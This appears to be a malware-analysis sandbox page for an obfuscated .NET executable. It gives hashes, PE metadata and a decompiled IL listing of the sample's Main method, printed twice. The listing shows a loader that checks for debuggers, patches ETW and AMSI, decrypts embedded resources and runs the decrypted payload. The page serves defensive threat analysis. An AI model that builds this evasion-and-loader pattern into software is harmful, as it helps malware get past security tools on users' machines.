7d1d0545958d3edea92a687381373134

PE Executable

MD5: 7d1d0545958d3edea92a687381373134

Size: 3.81 MB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score High

MD5	7d1d0545958d3edea92a687381373134
Sha1	96bd4f463a2fcd786c031b5cf0e970e99e204d75
Sha256	be578f42ec4601a6a3c90acbbf26450aaba7288c4a8019fd4dbd23924326bfb4
Sha384	872224888841c6300119d3122fc8503785eb53ccde2ca89045404ebce18a96e039c0f8dde6945a694e65643210a20bf7
Sha512	f74bf550036b594042e4473d9802118b176c1ba2662f3545d9a2544e59881d58c57f9dc9779087f3704a945b9cbf106e24e99f827b85cf1de59dd36fb1ec8d5a
SSDeep	12288:vh4x5sv1puMlEZzU+8hAMEeg7WfZGVYipZMQXzexSh:
TLSH	8306234B33B1DD4DE75FC6B20807C0F16893DA53805B2F9B4DD460798A66D4AAEE016F

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	ekv3zbwv.4wu.exe
Full Name	ekv3zbwv.4wu.exe
EntryPoint	System.Void Tb9bdc010::Main(System.String[])
Scope Name	ekv3zbwv.4wu.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	ekv3zbwv.4wu
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	20
Main Method	System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count	255
Main IL	call System.Boolean Tb9bdc010::Rdd099ed7() brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug() leave IL_0261: ret call System.Void Tb9bdc010::AntiDebug() ldc.i4.0 <null> stloc.0 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_001F: ldloc.2 ldloc.0 <null> ldloc.2 <null> add <null> stloc.0 <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4 1000000 blt.s IL_0017: ldloc.0 ldloc.0 <null> ldc.i4.0 <null> bge.s IL_0030: ldc.i4 2000 leave IL_0261: ret ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldc.i4.0 <null> stloc.1 <null> br IL_0254: ldloc.1 ldloc.1 <null> switch dnlib.DotNet.Emit.Instruction[] br IL_0251: ldc.i4.s 10 call System.Void Tb9bdc010::Pdd77e973() ldc.i4.1 <null> stloc.1 <null> br IL_0254: ldloc.1 call System.Void Tb9bdc010::PatchETW() ldc.i4.2 <null> stloc.1 <null> br IL_0254: ldloc.1 call System.Void Tb9bdc010::PatchAMSI() ldc.i4.3 <null> stloc.1 <null> br IL_0254: ldloc.1 ldc.i4.4 <null> stloc.1 <null> br IL_0254: ldloc.1 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.3 <null> ldc.i4.s 16 newarr System.Byte dup <null> ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_4 ldc.i4.s 16 newarr System.Byte dup <null> ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_5 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_6 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_7 ldc.i4.6 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr System.Windows.Forms.resources stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr Microsoft.VisualBasic.resources stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr System.ServiceModel.resources stelem.ref <null> dup <null> ldc.i4.3 <null> ldstr System.Data.resources stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr System.Design.resources stelem.ref <null> dup <null> ldc.i4.5 <null> ldstr Rc32bd4ff stelem.ref <null> stloc.s V_8 ldc.i4.6 <null> newarr System.Int32 dup <null> ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 ldc.i4.0 <null> stloc.s V_14 br.s IL_0151: ldloc.s V_14 ldloc.s V_10 ldloc.s V_9 ldloc.s V_14 ldelem.i4 <null> add <null> stloc.s V_10 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_9 ldlen <null> conv.i4 <null> blt.s IL_0141: ldloc.s V_10 ldloc.s V_10 newarr System.Byte stloc.s V_11 ldc.i4.0 <null> stloc.s V_12 ldc.i4.0 <null> stloc.s V_15 br IL_0203: ldloc.s V_15 call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldloc.s V_8 ldloc.s V_15 ldelem.ref <null> callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_16 ldloc.s V_16 brtrue.s IL_0187: ldloc.s V_9 leave IL_0261: ret ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> ldc.i4.4 <null> mul <null> stloc.s V_17 ldloc.s V_17 newarr System.Byte stloc.s V_18 ldc.i4.0 <null> stloc.s V_19 br.s IL_01BC: ldloc.s V_19 ldloc.s V_16 ldloc.s V_18 ldloc.s V_19 ldloc.s V_17 ldloc.s V_19 sub <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ble.s IL_01C2: ldc.i4.0 ldloc.s V_19 ldloc.s V_20 add <null> stloc.s V_19 ldloc.s V_19 ldloc.s V_17 blt.s IL_019E: ldloc.s V_16 ldc.i4.0 <null> stloc.s V_21 br.s IL_01DC: ldloc.s V_21 ldloc.s V_11 ldloc.s V_12 ldloc.s V_21 add <null> ldloc.s V_18 ldloc.s V_21 ldc.i4.4 <null> mul <null> ldelem.u1 <null> stelem.i1 <null> ldloc.s V_21 ldc.i4.1 <null> add <null> stloc.s V_21 ldloc.s V_21 ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> blt.s IL_01C7: ldloc.s V_11 ldloc.s V_12 ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> add <null> stloc.s V_12 leave.s IL_01FD: ldloc.s V_15 ldloc.s V_16 brfalse.s IL_01FC: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_15 ldc.i4.1 <null> add <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_8 ldlen <null> conv.i4 <null> blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldloc.s V_11 ldloc.s V_7 call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 ldloc.s V_6 call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 ldloc.3 <null> ldloc.s V_4 ldloc.s V_5 call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 brfalse.s IL_024C: ldc.i4.s 10 ldloc.s V_13 ldlen <null> brfalse.s IL_024C: ldc.i4.s 10 ldc.i4 500 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_13 call System.Void Tb9bdc010::M43036e42(System.Byte[]) ldc.i4.s 10 stloc.1 <null> br.s IL_0254: ldloc.1 ldc.i4.s 10 stloc.1 <null> ldloc.1 <null> ldc.i4.s 10 blt IL_0041: ldloc.1 leave.s IL_0261: ret pop <null> leave.s IL_0261: ret ret <null>
Module Name	ekv3zbwv.4wu.exe
Full Name	ekv3zbwv.4wu.exe
EntryPoint	System.Void Tb9bdc010::Main(System.String[])
Scope Name	ekv3zbwv.4wu.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	ekv3zbwv.4wu
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	20
Main Method	System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count	255
Main IL	call System.Boolean Tb9bdc010::Rdd099ed7() brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug() leave IL_0261: ret call System.Void Tb9bdc010::AntiDebug() ldc.i4.0 <null> stloc.0 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_001F: ldloc.2 ldloc.0 <null> ldloc.2 <null> add <null> stloc.0 <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4 1000000 blt.s IL_0017: ldloc.0 ldloc.0 <null> ldc.i4.0 <null> bge.s IL_0030: ldc.i4 2000 leave IL_0261: ret ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldc.i4.0 <null> stloc.1 <null> br IL_0254: ldloc.1 ldloc.1 <null> switch dnlib.DotNet.Emit.Instruction[] br IL_0251: ldc.i4.s 10 call System.Void Tb9bdc010::Pdd77e973() ldc.i4.1 <null> stloc.1 <null> br IL_0254: ldloc.1 call System.Void Tb9bdc010::PatchETW() ldc.i4.2 <null> stloc.1 <null> br IL_0254: ldloc.1 call System.Void Tb9bdc010::PatchAMSI() ldc.i4.3 <null> stloc.1 <null> br IL_0254: ldloc.1 ldc.i4.4 <null> stloc.1 <null> br IL_0254: ldloc.1 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.3 <null> ldc.i4.s 16 newarr System.Byte dup <null> ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_4 ldc.i4.s 16 newarr System.Byte dup <null> ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_5 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_6 ldc.i4.s 32 newarr System.Byte dup <null> ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_7 ldc.i4.6 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr System.Windows.Forms.resources stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr Microsoft.VisualBasic.resources stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr System.ServiceModel.resources stelem.ref <null> dup <null> ldc.i4.3 <null> ldstr System.Data.resources stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr System.Design.resources stelem.ref <null> dup <null> ldc.i4.5 <null> ldstr Rc32bd4ff stelem.ref <null> stloc.s V_8 ldc.i4.6 <null> newarr System.Int32 dup <null> ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40 call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) stloc.s V_9 ldc.i4.0 <null> stloc.s V_10 ldc.i4.0 <null> stloc.s V_14 br.s IL_0151: ldloc.s V_14 ldloc.s V_10 ldloc.s V_9 ldloc.s V_14 ldelem.i4 <null> add <null> stloc.s V_10 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_9 ldlen <null> conv.i4 <null> blt.s IL_0141: ldloc.s V_10 ldloc.s V_10 newarr System.Byte stloc.s V_11 ldc.i4.0 <null> stloc.s V_12 ldc.i4.0 <null> stloc.s V_15 br IL_0203: ldloc.s V_15 call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldloc.s V_8 ldloc.s V_15 ldelem.ref <null> callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_16 ldloc.s V_16 brtrue.s IL_0187: ldloc.s V_9 leave IL_0261: ret ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> ldc.i4.4 <null> mul <null> stloc.s V_17 ldloc.s V_17 newarr System.Byte stloc.s V_18 ldc.i4.0 <null> stloc.s V_19 br.s IL_01BC: ldloc.s V_19 ldloc.s V_16 ldloc.s V_18 ldloc.s V_19 ldloc.s V_17 ldloc.s V_19 sub <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ble.s IL_01C2: ldc.i4.0 ldloc.s V_19 ldloc.s V_20 add <null> stloc.s V_19 ldloc.s V_19 ldloc.s V_17 blt.s IL_019E: ldloc.s V_16 ldc.i4.0 <null> stloc.s V_21 br.s IL_01DC: ldloc.s V_21 ldloc.s V_11 ldloc.s V_12 ldloc.s V_21 add <null> ldloc.s V_18 ldloc.s V_21 ldc.i4.4 <null> mul <null> ldelem.u1 <null> stelem.i1 <null> ldloc.s V_21 ldc.i4.1 <null> add <null> stloc.s V_21 ldloc.s V_21 ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> blt.s IL_01C7: ldloc.s V_11 ldloc.s V_12 ldloc.s V_9 ldloc.s V_15 ldelem.i4 <null> add <null> stloc.s V_12 leave.s IL_01FD: ldloc.s V_15 ldloc.s V_16 brfalse.s IL_01FC: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_15 ldc.i4.1 <null> add <null> stloc.s V_15 ldloc.s V_15 ldloc.s V_8 ldlen <null> conv.i4 <null> blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() ldloc.s V_11 ldloc.s V_7 call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 ldloc.s V_6 call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 ldloc.3 <null> ldloc.s V_4 ldloc.s V_5 call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[]) stloc.s V_13 ldloc.s V_13 brfalse.s IL_024C: ldc.i4.s 10 ldloc.s V_13 ldlen <null> brfalse.s IL_024C: ldc.i4.s 10 ldc.i4 500 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_13 call System.Void Tb9bdc010::M43036e42(System.Byte[]) ldc.i4.s 10 stloc.1 <null> br.s IL_0254: ldloc.1 ldc.i4.s 10 stloc.1 <null> ldloc.1 <null> ldc.i4.s 10 blt IL_0041: ldloc.1 leave.s IL_0261: ret pop <null> leave.s IL_0261: ret ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.